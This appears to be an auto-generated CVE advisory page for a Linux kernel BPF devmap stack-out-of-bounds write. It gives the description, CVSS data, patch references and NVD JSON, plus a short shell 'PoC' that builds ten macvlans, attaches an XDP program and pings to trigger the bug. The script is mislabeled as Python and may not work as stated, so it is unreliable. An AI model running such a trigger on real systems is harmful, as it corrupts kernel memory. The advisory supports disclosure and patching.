CVE-2026-23359

Description

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix stack-out-of-bounds write in devmap get_upper_ifindexes() iterates over all upper devices and writes their indices into an array without checking bounds. Also the callers assume that the max number of upper devices is MAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack, but that assumption is not correct and the number of upper devices could be larger than MAX_NEST_DEV (e.g., many macvlans), causing a stack-out-of-bounds write. Add a max parameter to get_upper_ifindexes() to avoid the issue. When there are too many upper devices, return -EOVERFLOW and abort the redirect. To reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with an XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS. Then send a packet to the device to trigger the XDP redirect path.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 漏洞修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC script to trigger CVE-2026-23359
# Requires an eBPF program compiled with BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS

# 1. Create a dummy interface
ip link add dev test_dummy0 type dummy
ip link set test_dummy0 up

# 2. Create more than MAX_NEST_DEV (8) macvlans
for i in {1..10}
do
  ip link add link test_dummy0 name mv$i type macvlan mode bridge
  ip link set mv$i up
done

# 3. Load the malicious XDP program (xdp_poc.o)
# This program must use the redirect helper with broadcast flags
ip link set dev test_dummy0 xdp obj xdp_poc.o sec xdp

# 4. Send a packet to trigger the OOB write
# This causes get_upper_ifindexes to write > 9 items to the stack array
ping -c 1 192.0.2.1

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23359
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23359
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23359/
[4] VulDB https://vuldb.com/cve/CVE-2026-23359
[5] https://git.kernel.org/stable/c/5000e40acc8d0c36ab709662e32120986ac22e7e
[6] https://git.kernel.org/stable/c/75d474702b2ba8b6bcb26eb3004dbc5e95ffd5d2
[7] https://git.kernel.org/stable/c/88df604f0d16a692867582350ce3f2fcd22243f1
[8] https://git.kernel.org/stable/c/8a95fb9df1105b1618872c2846a6c01e3ba20b45
[9] https://git.kernel.org/stable/c/b7bf516c3ecd9a2aae2dc2635178ab87b734fef1
[10] https://git.kernel.org/stable/c/ca831567908fd3f73cf97d8a6c09a5054697a182
[11] https://git.kernel.org/stable/c/d2c31d8e03d05edc16656e5ffe187f0d1da763d7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23359", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:34.740", "lastModified": "2026-04-24T19:02:43.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix stack-out-of-bounds write in devmap\n\nget_upper_ifindexes() iterates over all upper devices and writes their\nindices into an array without checking bounds.\n\nAlso the callers assume that the max number of upper devices is\nMAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack,\nbut that assumption is not correct and the number of upper devices could\nbe larger than MAX_NEST_DEV (e.g., many macvlans), causing a\nstack-out-of-bounds write.\n\nAdd a max parameter to get_upper_ifindexes() to avoid the issue.\nWhen there are too many upper devices, return -EOVERFLOW and abort the\nredirect.\n\nTo reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with\nan XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS.\nThen send a packet to the device to trigger the XDP redirect path."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nbpf: Corrección de escritura fuera de límites de la pila en devmap\n\nget_upper_ifindexes() itera sobre todos los dispositivos superiores y escribe sus índices en un array sin comprobar los límites.\n\nAdemás, los llamadores asumen que el número máximo de dispositivos superiores es MAX_NEST_DEV y asignan excluded_devices[1+MAX_NEST_DEV] en la pila, pero esa suposición no es correcta y el número de dispositivos superiores podría ser mayor que MAX_NEST_DEV (por ejemplo, muchas macvlans), causando una escritura fuera de límites de la pila.\n\nAñadir un parámetro max a get_upper_ifindexes() para evitar el problema.\nCuando hay demasiados dispositivos superiores, devolver -EOVERFLOW y abortar la redirección.\n\nPara reproducir, crear más de MAX_NEST_DEV(8) macvlans en un dispositivo con un programa XDP adjunto usando BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS.\nLuego enviar un paquete al dispositivo para activar la ruta de redirección XDP."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.1", "versionEndExcluding": "5.15.203", "matchCriteriaId": "179D712B-1C4F-4D1C-A8A4-74C05BD9A4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:-:*:*:*:*:*:*", "matchCriteriaId": "40D9C0D1-0F32-4A2B-9840-1072F5497540"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A- ... (truncated)